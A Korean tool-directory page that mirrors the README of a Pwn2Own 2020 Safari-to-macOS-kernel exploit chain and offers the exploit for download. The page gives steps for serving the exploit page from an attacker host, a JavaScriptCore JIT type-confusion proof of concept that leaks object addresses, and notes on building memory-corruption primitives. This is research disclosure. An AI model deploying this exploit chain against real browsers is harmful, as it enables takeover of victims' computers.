Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pwn2own2020 — 여섯 가지 취약점을 연쇄적으로 연결해 Safari를 통해 macOS 커널을 손상시키기 | Kitploit
도구/GitHubGitHub/sslab-gatech/pwn2own2020
Privilege EscalationExploitationShellcodeWeb Application ExploitationPenetration TestingPayload DevelopmentBinary Exploitation
GitHubsslab-gatech/pwn2own2020

pwn2own2020

여섯 가지 취약점을 연쇄적으로 연결해 Safari를 통해 macOS 커널을 손상시키기

저장소 보기
41458225년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Compromising the macOS Kernel through Safari by Chaining Six Vulnerabilities

Overview

이 저장소에는 macOS 10.15.3에 대한 커널 권한 상승을 통해 Apple Safari를 대상으로 한 우리의 Pwn2Own 2020 우승 제출물의 악용 및 기술적 세부 정보가 포함되어 있습니다. 추가 정보는 우리의 Blackhat USA 2020 슬라이드 및 비디오에서 확인할 수 있습니다. 또한 이 저장소에는 성공적인 악용을 위한 데모 비디오가 포함되어 있습니다.

How to reproduce

  1. exploits 폴더에서 python3를 사용하여 HTTP 서버를 실행합니다.```shell $ python3 -m http.server 80
2. Safari를 사용하여 공격자 서버의 IP로 웹사이트에 접속합니다:```
http://[attacker_ip]/exploit.html
  1. 계산기가 나타날 때까지 기다립니다(보통 10초 안에 나타나지만, 운이 없으면 시간이 걸릴 수 있습니다). 그리고 커널 권한이 있는 터미널이 표시됩니다. 커널 권한 상승을 보여주기 위해 SIP를 비활성화했습니다. csrutil status 명령을 실행하면 disabled로 표시되는지 확인할 수 있습니다.

소스에서 빌드

편의를 위해 컴파일된 페이로드 payload.js를 제공했습니다. 하지만 원한다면 직접 빌드할 수 있습니다. 이 과정은 익스플로잇 체인의 일부로 WebKit을 빌드하기 때문에 매우 오래 걸릴 수 있습니다. 우리는 Mac OS에서만 빌드 과정을 테스트했다는 점을 알아두는 것이 좋습니다.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

Technical details
-----------------

이 익스플로잇을 만들기 위해 우리는 다음의 *여섯 가지* 취약점을 연쇄적으로 사용했습니다.

### 1. JavaScriptCore DFG 컴파일러에서 'in' 연산자의 잘못된 부작용 모델링으로 인한 Safari 원격 코드 실행

- 근본 원인 분석

JavaScriptCore에서 인덱스 속성이 'in' 연산자로 조회될 때,
DFG 컴파일러는 해당 연산을 가로챌 수 있는 프록시 객체가 프로토타입 체인에 없으면
그 연산이 부작용이 없다고 가정합니다.
JavaScriptCore는 'MayHaveIndexedAccessors'라는 플래그를 사용하여
이 인덱스 속성 접근을 가로챌 수 있는 객체를 표시합니다.
이 플래그는 Proxy 객체에 명시적으로 표시됩니다.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

그러나 부작용을 일으킬 수 있는 또 다른 객체가 있습니다: 자체 getOwnPropertySlot() 메서드를 구현하는 JSHTMLEmbedElement입니다. 한 가지 방법은 'in' 연산자로 JavaScript 콜백(즉, 부작용)을 트리거하는 것으로, PDF 플러그인과 함께 <embed> 요소를 사용하는 것입니다. 어떤 속성이 쿼리되면 embed / object 태그의 DOM 객체에서, 이를 뒷받침하는 플러그인을 로드하려고 시도하며, PDF 플러그인의 경우 body 요소에 appendChild 메서드를 사용하므로 DOMSubtreeModified 이벤트 핸들러가 호출될 수 있습니다.

이것은 getOwnPropertySlot()에서 부작용을 호출하는 스택 추적입니다.```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

프로토타입 체인의 어떤 객체도 "MayHaveIndexedAccessors"로 표시되지
않으므로, JIT는 이 'in' 연산자의 사용이 내부에 전이(transition)를
가지지 않는다고 가정하여, 전이 후의 배열 타입 검사를
제거한다.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

이로부터 addrof/fakeobj 프리미티브를 구축하여, JIT 컴파일된 JavaScript 함수로 코드 실행을 얻기 위한 임의의 RW 프리미티브를 만들 수 있습니다.

  • 익스플로잇
도구 다운로드